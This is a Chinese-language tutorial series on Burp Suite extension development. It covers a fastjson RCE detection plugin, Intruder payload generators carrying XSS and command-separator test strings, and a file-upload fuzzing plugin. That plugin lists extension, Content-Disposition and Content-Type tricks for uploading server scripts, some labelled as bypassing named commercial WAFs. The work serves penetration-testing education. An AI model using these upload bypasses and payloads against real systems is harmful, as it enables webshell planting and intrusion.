此方法可用于将数据从字符串形式转换为字节数组。该转换不反映任何特定字符集,十六进制表示为0xWXYZ的字符将始终转换为表示形式为0xYZ的字节。它执行与方法相反的转换bytesToString(),并保证使用这两种方法将基于字节的数据转换为String并再次返回,以确保其完整性(反映给定字符集的转换可能不是这种情况)。

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#stringToBytes(java.lang.String)

图片

官方的解释有点拗口,其实很简单,就是把我们想要提交的字符串内容转换为burp能认识的数据类型。

示例代码如下:将字符串payload转换为burp认识的字节类型,这样newBody的数据类型就变成了byte,就能够在下一个api里使用了。

1
2
newBodyPayload = '{"age":25, "name":"Bob""}'
newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节

当构造好payload后,下面准备重构http消息

0x03 buildHttpMessage

1
byte[] buildHttpMessage(java.util.List<java.lang.String> headers, byte[] body)

此方法构建包含指定的标头和消息正文的HTTP消息。如果适用,将根据正文的长度添加或更新Content-Length标头。

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildHttpMessage(java.util.List,%20byte[])

图片

buildHttpMessage的第一个参数headers是IRequestInfo对象的getHeaders()方法返回值

示例代码如下:如果不知道analyzedIRequestInfo是什么变量,请回顾前几节课。

1
reqHeaders = analyzedIRequestInfo.getHeaders()

buildHttpMessage的第二个参数body是IExtensionHelpers.stringToBytes(字符串)的返回值

1
newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节

准备好两个参数后,传递给buildHttpMessage即可重构http消息

1
newRequest = self._helpers.buildHttpMessage(reqHeaders, newBody) #  重构json格式的数据不能用buildParameter,要用buildHttpMessage替换整个body重构http消息。

然后接下来同样使用makeHttpRequest发送数据并响应即可。

1
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest) # 发送数据

fastjson rce检测插件demo

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
# -*-coding:utf-8 -*-
# 被动扫描fastjson rce检测
from burp import IBurpExtender, IScannerCheck, IScanIssue, IMessageEditorTabFactory, IContextMenuFactory
from burp import IScanIssue
import sys
import time
import os

class BurpExtender(IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("Passive Fastjson Check")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

# 获取请求的url
def get_request_url(self, protocol, reqHeaders):
link = reqHeaders[0].split(' ')[1]
host = reqHeaders[1].split(' ')[1]
return protocol + '://' + host + link

# 获取请求的一些信息:请求头,请求内容,请求方法,请求参数
def get_request_info(self, request):
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders = analyzedIRequestInfo.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod = analyzedIRequestInfo.getMethod() # 获取请求方法
reqParameters = analyzedIRequestInfo.getParameters()
return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters

# 获取响应的一些信息:响应头,响应内容,响应状态码
def get_response_info(self, response):
analyzedIResponseInfo = self._helpers.analyzeRequest(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders = analyzedIResponseInfo.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
# resStatusCode = analyzedIResponseInfo.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
return resHeaders, resBodys

# 获取服务端的信息,主机地址,端口,协议
def get_server_info(self, httpService):
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
ishttps = False
if protocol == 'https':
ishttps = True
return host, port, protocol, ishttps

# 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
def get_parameter_Name_Value_Type(self, parameter):
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()
return parameterName, parameterValue, parameterType

# 开始检测
def start_run(self, baseRequestResponse):
self.baseRequestResponse = baseRequestResponse

​ # 获取请求包的数据
​ request = self.baseRequestResponse.getRequest()
​ analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(request)
​ reqContentType = analyzedRequest.getContentType() # 获取请求格式,例如json

​ if reqContentType == 4: # json格式数据

​ # 获取服务信息
​ httpService = self.baseRequestResponse.getHttpService()

​ newBodyPayload = '{"age":25, "name":"Bob""}'
​ newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节 https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#stringToBytes(java.lang.String)
​ newRequest = self._helpers.buildHttpMessage(reqHeaders, newBody) # 重构json格式的数据不能用buildParameter,要用buildHttpMessage替换整个body重构http消息。https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildHttpMessage(java.util.List,%20byte[])
​ newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest) # 发送数据
​ response = newIHttpRequestResponse.getResponse() # 获取响应包
​ analyzedIResponseInfo = self._helpers.analyzeRequest(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
​ resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
​ newUrl = self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl()

​ print resBodys

​ if 'fastjson' in resBodys:
​ print '[+] {}'.format(newUrl)
​ self.save(newUrl)
​ self.issues.append(CustomScanIssue(
​ newIHttpRequestResponse.getHttpService(),
​ newUrl,
​ [newIHttpRequestResponse],
​ "FastJson RCE",
​ "fastjson",
​ "High"))
​ else:
​ print '[-] {}'.format(newUrl)

def doPassiveScan(self, baseRequestResponse):
'''
:param baseRequestResponse: IHttpRequestResponse
:return:
'''
self.issues = []
self.start_run(baseRequestResponse)
return self.issues

def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''


if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1

​ return 0

class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''

​ :param httpService: HTTP服务
​ :param url: 漏洞url
​ :param httpMessages: HTTP消息
​ :param name: 漏洞名
​ :param detail: 漏洞细节
​ :param severity: 漏洞等级
​ '''
​ self._httpService = httpService
​ self._url = url
​ self._httpMessages = httpMessages
​ self._name = name
​ self._detail = detail
​ self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

效果如下:

当正常发送数据包时,响应包没报错

图片

再来看看插件的情况,可以看到响应包里出现了fastjon字符串,说明payload检测出了该漏洞

图片

这里demo用的是写死的payload,自己写的时候根据自己的需求将payload请求的地址改为dnslog的地址。

Burp Extender Apis 插件开发 (第七课)

Burp Extender Apis 插件开发 (第八课)

0x01 前言

通过前面课程的学习,已经能够编写注入检测插件,fastjson检测插件。接下来开始尝试编写上传FUZZ插件,这里主要用的模块是Intruder!

我们先通过intruder的官方例子来学习

https://xxx.com/PortSwigger/example-intruder-payloads/blob/44ef0ce70fe53c0b195bb514e38e8a36efbe43b6/python/IntruderPayloads.py

代码后面再讲解,先加载该脚本,看看是怎么样的一个功能,这样后面看代码理解的也更快。

先加载py脚本,加载完后到Intruder模块里,对一个数据包设置多个变量参数

图片

payloads选择Extension-generated

图片

select generator的下拉框选择py脚本里设置的名字

图片

这里记住,如果你脚本里的payload有特殊字符,一定要取消url编码

图片

start attack后的效果如下,每一个变量参数都会使用py脚本里填写的参数

图片

图片

看完官方给的例子演示过程,然后学习所用到的api。这节课先简单学习IIntruderPayloadGeneratorFactory类

0x02 IIntruderPayloadGeneratorFactory

扩展程序可以实现此接口,然后调用 IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() 以注册自定义Intruder负载的工厂。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html

图片

该类有两个方法:getGeneratorName, createNewInstance

0x03 getGeneratorName

Burp使用此方法来获取有效负载生成器的名称。当用户选择使用扩展生成的有效内容时,这将作为选项显示在Intruder UI中。

返回值:有效负载生成器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html#getGeneratorName()

图片

示例代码如下:

1
def getGeneratorName(self):   return "My custom payloads"

其实就是设置payload生成器名字,作为选项显示在Intruder UI中。

效果如下:

图片

0x04 createNewInstance

用户启动使用此有效负载生成器的入侵者攻击时,Burp将使用此方法。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html#createNewInstance(burp.IIntruderAttack)

图片

示例代码如下:

1
2
def createNewInstance(self, attack):
# return a new IIntruderPayloadGenerator to generate payloads for this attack return IntruderPayloadGenerator()

其实就是创建payload生成器实例,传入的attack是IIntruderAttack的实例,返回的是IntruderPayloadGenerator的实例

这节课讲到了createNewInstance方法返回了实例IntruderPayloadGenerator,下节课介绍IntruderPayloadGenerator类:实现Intruder功能的各个方法讲解,并且实现一个简单的Demo。

Burp Extender Apis 插件开发 (第九课)

0x01 前言

上节课讲到createNewInstance方法返回了实例IntruderPayloadGenerator,这节课主要学习IntruderPayloadGenerator类,IIntruderPayloadProcessor类

0x02 IIntruderPayloadGenerator

此接口用于自定义的Intruder有效负载生成器。IIntruderPayloadGeneratorFactory作为新的Intruder攻击的一部分,需要时,已注册的扩展 必须返回此接口的新实例。

官方api:[https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html]
(https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html)

图片

首先得定义一个类,继承IIntruderPayloadGenerator类,然后定义__init__方法,_payloadIndex变量是每个具体的攻击载荷的下标。例如我们设置的攻击载荷PAYLOADS是一个列表,那么_payloadIndex就是每个具体的攻击载荷的下标。

1
2
class IntruderPayloadGenerator(IIntruderPayloadGenerator):
def __init__(self): self._payloadIndex = 0

该类有三个方法:hasMorePayloads, getNextPayload, reset

0x03 hasMorePayloads

Burp使用此方法来获取有效负载生成器的名称。当用户选择使用扩展生成的有效内容时,这将作为选项显示在Intruder UI中。

返回值:有效负载生成器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#hasMorePayloads()

图片

示例代码如下:

1
2
3
def hasMorePayloads(self):
print "hasMorePayloads called."
return self._payloadIndex < len(PAYLOADS)

其实hasMorePayloads方法就是返回一个布尔值,如果_payloadIndex的值比PAYLOADS的个数小,说明没有加载完所有payload,那么就返回true,然后继续返回下一个payload。否则就结束,不再返回下一个payload。

0x04 getNextPayload

Burp使用此方法来获取下一个有效负载的值。

返回值:攻击中使用的下一个有效负载。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#getNextPayload(byte[])

图片

示例代码如下:

1
2
3
4
5
def getNextPayload(self, baseValue):
payload = "".join(chr(x) for x in baseValue) # 通过该行代码将array('b', [106, 112, 103])转换为jpg字符串
attackPayload = payload + "'" # 设置攻击payload
print 'attackPayload: {}'.format(attackPayload) self._payloadIndex += 1
return attackPayload

baseValue就是再Intruder模块里设置的变量的值。

这里举个例子:假设我们再数据包里将jpg这个字符串设置为变量,那么baseVul的值是十进制数组:array(‘b’, [106, 112, 103])。那么我们首先要把baseVul的值还原为字符串,所以用””.join(chr(x) for x in baseValue)这行代码还原成jpg字符串。

然后接下来就是要生成新的payload了,比如在jpg后面添加payload,或者直接替换jpg字符串等等,然后赋值给新的变量attackPayload。

接着_payloadIndex的值递增1,然后return返回attackPayload变量即可。

0x05 reset

Burp使用此方法重置有效负载生成器的状态,以便下一次调用 getNextPayload()再次返回第一个有效负载。当攻击将同一个有效载荷生成器用于多个有效载荷位置时,例如在狙击攻击中,将调用此方法。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#reset()

图片

1
2
3
def reset(self):
print "reset called."
self._payloadIndex = 0

其实就是把_payloadIndex这个变量下标清零。那么当我们使用Intruder模块设置了两个变量的时候,PAYLOADS里的所有攻击载荷就会应用到第二个变量里。

通过IntruderPayloadGenerator学习了如何遍历我们自己定义的payloads,那么如果我们要想对我们的payloads进行各种处理,例如编码,加密,解密等等。那么这时候就要用到IIntruderPayloadProcessor类。

0x06 IIntruderPayloadProcessor

简单来说就是对payload进行编码,加密等各种处理。

扩展可以实现此接口,然后调用 IBurpExtenderCallbacks.registerIntruderPayloadProcessor()以注册自定义的Intruder有效负载处理器。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html

图片

该类有两个方法:getProcessorName,processPayload

0x07 getProcessorName

Burp使用此方法来获取有效负载处理器的名称。当用户选择使用扩展提供的有效负载处理器时,这将在Intruder UI中作为选项显示。

返回值:有效负载处理器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html#getProcessorName()

图片

示例代码如下:

1
def getProcessorName(self):   return "Serialized input wrapper"

效果如下

图片

0x08 processPayload

每次将处理器应用于入侵者有效负载时,Burp都会调用此方法。

参数:

1
currentPayload -要处理的有效载荷的值。originalPayload -在通过任何已经应用的处理规则进行处理之前,原始有效负载的值。baseValue -有效负载位置的基值,它将用当前有效负载替换。

返回值:

1
已处理的有效负载的值。这可能 null表明当前的有效负载应被跳过,攻击将直接移至下一个有效负载。

官方api:
https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html#processPayload(byte[],%20byte[],%20byte[])

图片

示例代码如下:

1
2
def processPayload(self, currentPayload, originalPayload, baseValue):
payload = "".join(chr(x) for x in currentPayload) return self._helpers.stringToBytes( self._helpers.urlEncode(self._helpers.base64Encode(payload)))

这段代码同样关键,是对payload进行处理,例如编码,加密,解密。根据自己的需求,对currentPayload, originalPayload, baseValue这三个变量进行处理。

0x09 简单的demo代码

示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadProcessor
from burp import IIntruderPayloadGenerator# hard-coded payloads# [in reality, you would use an extension for something cleverer than this]PAYLOADS = [
bytearray("|"),
bytearray("<script>alert(1)</script>")
]class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor):

#
# implement IBurpExtender
#

def registerExtenderCallbacks(self, callbacks): # obtain an extension helpers object
self._helpers = callbacks.getHelpers() # set our extension name
callbacks.setExtensionName("Custom intruder payloads") # register ourselves as an Intruder payload generator
callbacks.registerIntruderPayloadGeneratorFactory(self) # register ourselves as an Intruder payload processor
callbacks.registerIntruderPayloadProcessor(self) #
# implement IIntruderPayloadGeneratorFactory
#

def getGeneratorName(self): return "My custom payloads"

def createNewInstance(self, attack): # return a new IIntruderPayloadGenerator to generate payloads for this attack
return IntruderPayloadGenerator() #
# implement IIntruderPayloadProcessor
#

def getProcessorName(self): return "originalPayload base64 and url encode"

def processPayload(self, currentPayload, originalPayload, baseValue):
payload = "".join(chr(x) for x in originalPayload) return self._helpers.stringToBytes( self._helpers.urlEncode(self._helpers.base64Encode(payload)))## class to generate payloads from a simple list#class IntruderPayloadGenerator(IIntruderPayloadGenerator):
def __init__(self): self._payloadIndex = 0

def hasMorePayloads(self): return self._payloadIndex < len(PAYLOADS) def getNextPayload(self, baseValue):
payload = PAYLOADS[self._payloadIndex] self._payloadIndex = self._payloadIndex + 1

​ return payload def reset(self): self._payloadIndex = 0

效果如下:

图片

图片

图片

对a-z这几个payload先base64编码,再url编码。

下节课分享最近开发的Upload Fuzz插件,涵盖各种绕过姿势。

Burp Extender Apis 插件开发 (第十课)

0x01 前言

基于前两节课的学习,已经能够使用api完成简单的Intruder模块的demo,那么只需要增加一个方法生成payloads,然后从payloads取出payload即可。
这里分享最近开发的插件,涵盖了各种绕过姿势,以及以前能够过waf的方法(现在可能不适用了,但仍然也是一种思路)
现在来讲解生成payloads的方法。
其实很多情况都是对下面两行做修改,fuzz

1
2
Content-Disposition: form-data; name="upload_file"; filename="zc.jpg"
Content-Type: image/jpeg

那么插件的思路就是将这两行设置为一个变量,然后让插件对这两行数据进行清洗,生成各种上传绕过的新的payload,再让burpsuite发送。

绕过方法如下:

图片

图片

图片

然后还有一个地方要注意的就是getNextPayload方法获取下一个payload,因为我们是根据我们设置的那两行变量为模板进行PAYLOADS生成,所以我们得做个条件判断,只有当self._payloadIndex == 0时才会去生成PAYLOADS,否则就是已经生成了PAYLOADS,只需要取下一个值就可以。

1
2
3
4
5
6
7
8
9
# 获取下一个payload,然后intruder就会用该payload发送请求
def getNextPayload(self, baseValue):
# print 'getNextPayload called'
TEMPLATE = "".join(chr(x) for x in baseValue)
if self._payloadIndex == 0:
self.attackPayloads = getAttackPayloads(TEMPLATE)
payload = self.attackPayloads[self._payloadIndex]
self._payloadIndex = self._payloadIndex + 1
return payload

0x02 Upload Fuzz检测插件

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
# -*-coding:utf-8 -*-

from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
import random
from urllib import unquote
import re

def getAttackPayloads(TEMPLATE):
# 获取文件前后缀
filename_suffix = re.search('filename=".*[.](.*)"', TEMPLATE).group(1) # jpg
content_type = TEMPLATE.split('\n')[-1]

def script_suffix_Fuzz():
# 文件后缀绕过
asp_fuzz = ['asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(unquote('%00')), 'asp .jpg',
'asp_.jpg', 'asa', 'cer', 'cdx', 'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg']
aspx_fuzz = ['asPx', 'aspx .jpg', 'aspx_.jpg', 'aspx;+2.jpg', 'asaspxpx']
php_fuzz = ['php1', 'php2', 'php3', 'php4', 'php5', 'pHp', 'php .jpg', 'php_.jpg', 'php.jpg', 'php. .jpg',
'jpg/.php',
'php.123', 'jpg/php', 'jpg/1.php', 'jpg{}.php'.format(unquote('%00')),
'php{}.jpg'.format(unquote('%00')),
'php:1.jpg', 'php::$DATA', 'php::$DATA......', 'ph\np']
jsp_fuzz = ['.jsp.jpg.jsp', 'jspa', 'jsps', 'jspx', 'jspf', 'jsp .jpg', 'jsp_.jpg']
suffix_fuzz = asp_fuzz + aspx_fuzz + php_fuzz + jsp_fuzz

suffix_payload = [] # 保存文件后缀绕过的所有payload列表

for each_suffix in suffix_fuzz:
# 测试每个上传后缀
TEMP_TEMPLATE = TEMPLATE
temp = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
suffix_payload.append(temp)

return suffix_payload

def CFF_Fuzz():
# Content-Disposition 绕过 form-data 绕过 filename 绕过
# Content-Disposition: form-data; name="uploaded"; filename="zc.jpg"
Suffix = ['php', 'asp', 'aspx', 'jsp', 'asmx', 'xml', 'html', 'shtml', 'svg', 'swf', 'htaccess'] # 需要测试的能上传的文件类型
# Suffix = ['jsp']
Content_Disposition_payload = [] # 保存Content_Disposition绕过的所有payload列表

# 遍历每个需要测试的上传后缀
for each_suffix in Suffix:
# 测试每个上传后缀
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix,
each_suffix) # TEMP_TEMPLATE_SUFFIX: Content-Disposition: form-data; name="uploaded"; filename="zc.后缀"
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX)
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition', 'content-Disposition')) # 改变大小写
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition:')) # 减少一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition: ')) # 增加一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '~form-data'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f+orm-data'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '*'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data; ')) # 增加一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;')) # 减少一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename===zc.{}'.format(
each_suffix))) # 过阿里云waf,删双引号绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename==="zc.{}'.format(
each_suffix))) # 过阿里云waf,少双引号绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename==="zc.{}"'.format(
each_suffix))) # 过阿里云waf,三个等号
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.{}\n"'.format(
each_suffix))) # 过阿里云waf,回车
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'\nfilename==="zc.\n{}"'.format(
each_suffix))) # 过阿里云waf, 三个等号加回车
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.\nC.{}"'.format(
each_suffix))) # 过安全狗和云锁waf # 待定,因为没法删掉Content-Type
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total, 'filename\n="zc.{}"'.format(each_suffix))) # 过百度云waf

TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc\.{}"'.format(
each_suffix))) # 过硬waf,反斜杠绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename===zczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczc.{}'.format(
each_suffix))) # 过硬waf,超长文件名
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data',
'form-data------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------')) # 过硬waf,超长-

TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.jpg";filename="zc.{}"'.format(
each_suffix))) # 双参数

return Content_Disposition_payload

def content_type_Fuzz():
# content_type = Content-Type: image/jpeg
content_type_payload = [] # 保存content_type绕过的所有payload列表
Suffix = ['asp', 'aspx', 'php', 'jsp']
# 遍历每个需要测试的上传后缀
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/gif')) # 修改为image/gif
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/jpeg')) # 修改为image/jpeg
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/php')) # 修改为image/jpeg
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: text/plain')) # 修改为text/plain
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, ''))
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type', 'content-type')) # 改变大小写
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type: ', 'Content-Type: ')) # 冒号后面 增加一个空格

return content_type_payload

suffix_payload = script_suffix_Fuzz()
Content_Disposition_payload = CFF_Fuzz()
content_type_payload = content_type_Fuzz()

attackPayloads = suffix_payload + Content_Disposition_payload + content_type_payload

return attackPayloads

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("upload fuzz intruder")
# 注册payload生成器
